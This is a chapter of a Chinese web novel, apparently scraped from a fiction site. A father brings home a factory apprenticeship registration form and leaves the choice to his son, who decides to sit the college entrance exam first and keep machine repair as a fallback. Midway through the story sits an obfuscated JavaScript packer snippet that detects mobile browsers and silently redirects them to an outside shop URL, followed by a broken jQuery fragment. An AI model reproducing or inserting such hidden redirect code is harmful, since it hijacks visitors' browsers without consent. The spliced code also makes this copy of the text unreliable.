文趣网 > 都市小说 > 八零旧巷有回声 > 35. 这张表他自己填
    梁振山把那张表放到柜台上时,梁潮生正拆一台收音机。

    螺丝滚到桌边,被纸角挡住。

    梁潮生抬头看见父亲,先看了看他身后,又看向墙上的钟。

    “今天厂里下班这么早?”

    “换了班。”

    梁振山没进门,只站在柜台外,把手里的牛皮纸往前推了推。

    最上面印着一行黑字:

    机械厂应届毕业生招工意向登记表。

    红叶照相馆里静了一瞬。

    韩师傅在暗房冲照片,周念安坐在另一头核对毕业留言带订单,梁潮平趴在凳子上背英语,刚背到一半,也悄悄抬起头。

    梁潮生放下螺丝刀。

    “什么意思?”

    语气已经有些硬了。

    梁振山听出来,脸色也不太好看。

    “厂里今年招一批学徒,先摸底。机修、电工、仓储,都有名额。”

    “我报了高考。”

    “我知道。”

    “那你还拿这个来?”

    梁振山的眉头皱起来。

    父子俩一开口,屋里的空气便又有了从前的样子。一个觉得对方又要替自己安排,一个听见反问就本能地想训人。

    宋玉兰不在这里,没人能及时递台阶。

    周念安合上账本,正准备起身,梁振山却先把那张表翻了过来。

    意向栏是空的。

    家长意见也是空的。

    连姓名都没写。

    “我没替你填。”他说。

    梁潮生停住。

    梁振山将一支钢笔放到表格旁边。

    “厂里说,应届生家里有意向的,先把表领回去。你考你的,填不填自己看。后天下午截止。”

    他说完,又像怕这话不够清楚,补了一句:

    “我只负责把表带回来。”

    梁潮平看看父亲,又看看哥哥,忍不住说:“那您今天进步挺大。”

    梁振山转头:“你英语背完了?”

    梁潮平立刻低下头。

    “Goodmorning,早上好。Goodafternoon,下午好……”

    “你刚才已经背过这两句。”

    “巩固。”

    梁潮生拿起那张表。

    纸不厚,边缘被梁振山握得有些皱。意向栏下面列着三个选项:

    机修学徒。

    电工学徒。

    仓储及后勤岗位。

    最后一项是:服从统一分配。

    梁潮生盯着“服从统一分配”看了两秒,抬头问:“你想让我选哪个?”

    梁振山说:“我说了,你自己填。”

    “你总得有想法。”

    “有想法也不是我的表。”

    这话从梁振山嘴里说出来,实在有些生硬。他大概练过,练得不太熟,说完便把脸转向橱窗,不肯再看儿子。

    梁潮生低头笑了一声。

    “行。”

    梁振山又说:“别为了跟我拧,故意不填。”

    “我什么时候——”

    话到一半,他自己停了。

    以前确实有。

    父亲说东,他偏往西;父亲让他进厂,他便说宁可在巷口修一辈子破收音机。到底是不想走那条路,还是只是不想走父亲指的路,有时连他自己也分不清。

    梁振山没等他回答。

    “想好了交给我,或者自己送劳服办。”他说,“过期不候。”

    他转身往外走。

    走到门口,又停了一下。

    “机修组今年带学徒的是邱师傅。”

    梁潮生挑眉:“这算暗示?”

    “算告诉你情况。”梁振山沉着脸,“邱师傅脾气不好,但肯教。电工组名额少,要先考试。仓储稳,学不到多少手艺。”

    说完他就走了。

    梁潮生拿着表,朝门口看了半天。

    梁潮平小声说:“爸还是想让你选机修。”

    “闭嘴,背你的英语。”

    “我只是分析。”

    “你英语分析明白了吗?”

    梁潮平又开始巩固早上好和下午好。

    周念安拿过那张表,从头到尾看了一遍。

    “机修学徒每月有补贴,试用半年。电工要参加厂内考试,通过以后进培训班。仓储可以直接上岗。”

    梁潮生靠着柜台:“你觉得哪个合适?”

    “我不知道。”

    “你不是很会算吗?”

    “可以算收入、时间和学到什么。”周念安把表推回去,“不能替你算想不想。”

    “你都帮我填过补课表了。”

    “那不一样。”

    “哪里不一样?”

    “补课表是为了你已经决定参加的考试。”她指了指意向栏,“这个决定,你还没做。”

    梁潮生握着笔,迟迟没往下写。

    他并不讨厌机修。

    机器坏了,总有一个地方能拆开,一个零件能替换,一段线路能重新接上。比起那些说不清的人情和脸色,他更喜欢能看见原因的东西。

    可一旦填下去,厂门、车间、工位便会从“退路”变成一条伸到脚下的路。

    他怕自己走进去后,就再也懒得出来。

    也怕不填,最后什么都没考上,连这条路也没了。

    “能不能两个都要?”梁潮平忽然问。

    梁潮生看他:“什么意思?”

    “先高考。考上了去念书,没考上再当学徒。”

    “表上没这个选项。”

    梁潮平凑过来看:“下面不是有备注吗?”

    意向栏最下方,确实留着很窄的一块空白。

    梁潮生拿笔比了一下:“这么小,写不下我的人生。”

    周念安说:“少写废话,够用。”

    “你替我写?”

    “自己写。”

    他说到“自己写”时,忽然觉得今天所有人都在跟他重复这三个字。

    他把表折好,塞进书包。

    “我再想一晚。”

    韩师傅从暗房出来,正好听见。

    “别想太久。选路跟拍照一样,光站着琢磨表情,胶卷也会过期。”

    梁潮生看他:“您今天怎么也像老师?”

    “我是怕你堵着柜台,影响我做生意。”

    第二天,厂劳服办来红叶照相馆拍招工登记照。

    一共二十六个人,都是旧巷和附近家属区的应届毕业生。有参加高考的,也有早早决定进厂的。

    有人坐到镜头前时兴奋得脸发红,说自己从小就想进父亲的车间;有人全程没什么表情,家里说仓储岗位稳定,他便在表上选了仓储;还有个男生偷偷问梁潮生,电工考试难不难,因为他母亲想让他去后勤,他却更想学一门手艺。

    “你自己决定了吗?”男生问。

    梁潮生正在调灯,动作顿了顿。

    “还没。”

    “你也领表了?”

    “嗯。”

    男生有些意外:“我以为你肯定不进厂。”

    “为什么?”

    “你看起来不像能按时上班的人。”

    梁潮生:“……”

    周念安在登记桌后低下头,肩膀轻轻动了一下。

    他看过去:“想笑就笑。”

    “我在核名字。”

    “你刚才没写。”

    “心里核。”

    拍完招工照,劳服办的人留下尾款,又特意问韩师傅能不能长期承接工牌照。

    韩师傅答应先试。

    梁潮生站在门边,看着那群年轻人拿着登记照离开。有人回学校复习,有人去厂里交表,走出巷口后便分成了两拨。

    谁也没比谁更体面。

    只是去的地方不同。

    晚上回家,宋玉兰已经把招工表放到了饭桌上。

    她没有催,只问:“想吃面还是米饭?”

    “都行。”

    “都行最难做。”

    “那面。”

    梁潮平在旁边说:“哥选饭比选工作快。”

    梁潮生抬脚踢了踢他的凳子。

    梁振山坐在桌对面吃饭,从头到尾没问意向栏。他越不问,梁潮生越觉得不习惯。

    吃到一半,梁潮生主动开口:“邱师傅真肯教?”

    梁振山夹菜的手停了一下。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774719|208021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “肯教。前提是你肯学。”

    “机修学徒以后只修车床?”

    “先学车床和设备。厂里广播、线路、仪表坏了,也有人调过去帮忙。”

    “能考证吗?”

    “干满年限能考。”

    梁潮生点点头。

    梁振山没有趁机说“那就选机修”,只继续吃饭。

    过了一会儿,他说:“厂里的路也不一定能走一辈子。学到手的东西,比工位牢靠。”

    梁潮生抬头看他。

    这是梁振山第一次承认,厂里的铁饭碗也未必真像铁一样。

    他在厂里干了大半辈子,见过车间红火,也见过订单少时一群人坐着等活。过去他只会说稳定,今天却把稳定背后的不稳也说了出来。

    宋玉兰往父子俩碗里各夹了一筷子菜。

    “你们慢慢说,别说着说着又拍桌子。”

    “谁拍桌子了?”两个人同时开口。

    梁潮平低头笑得差点呛着。

    饭后,梁潮生把表铺到自己书桌上。

    先写姓名。

    梁潮生。

    再写学校和家庭住址。

    到了意向栏,他没有在四个选项里直接打钩,而是在备注处一笔一画写:

    参加高考。如未升学,愿申请机修学徒,接受技能考核,不接受提前定岗。

    那块空白果然很窄。

    最后三个字差点挤到表格外面。

    梁潮生看了看,觉得还能认。

    家长意见一栏仍旧空着。

    他拿着表去找梁振山。

    “你签。”

    梁振山接过来,看了很久。

    “劳服办不一定同意你保留到高考以后。”

    “不同意就算。”

    “机修名额可能先给别人。”

    “那是他们的安排。”梁潮生说,“这个是我的意思。”

    梁振山抬眼看他。

    最终什么也没改,只在家长意见栏里写:

    已知悉,由本人决定。

    落款,梁振山。

    父子俩的字挨在同一张纸上。

    都不好看。

    也都能认出来。

    第二天清早,梁潮生把表交到劳服办。工作人员看见备注,皱着眉说从没见人这么填。

    他问:“不能交?”

    “能交,但厂里不保证留名额。”

    “知道。”

    对方在表格右上角盖了收讫章。

    红印落下,梁潮生接回回执。

    他没有立刻去学校,而是绕到红叶照相馆。周念安刚打开门,见他进来,先看了眼墙上的钟。

    “今天没迟到。”

    “我交表了。”

    “选了什么?”

    梁潮生把回执递给她。

    周念安看完那行挤得满满的备注,抬头说:“字太大。”

    “只有这个评价?”

    “意思写清楚了。”

    “还有呢?”

    “这是你的表。”

    她把回执还给他。

    梁潮生靠在柜台边,笑了。

    “周同学,你现在也学会说废话了。”

    “跟你学的。”

    门外早班铃响起来,旧巷里的自行车一辆接一辆涌向厂门。另一头,学校的预备铃也远远传来。

    梁潮生把回执夹进补课表。

    一边是高考。

    一边是机修学徒。

    他没有急着撕掉其中一张,也没有让任何人替他把名字填进去。

    上午第一节课,李老师带来了一叠模拟考试通知。

    “下周开始第一次全市联考。”她说,“成绩出来后,学校会根据情况重新做志愿指导。”

    全班顿时一片哀号。

    梁潮生翻开数学练习册,看见周念安昨天给他留的五道题。

    他做对了两道。

    还有三道空着。

    后排同学问:“梁潮生,你真打算考啊?”

    他拿起笔,低头补第一道。

    “表都填了。”

    “哪张表?”

    梁潮生想了想。

    “我的。”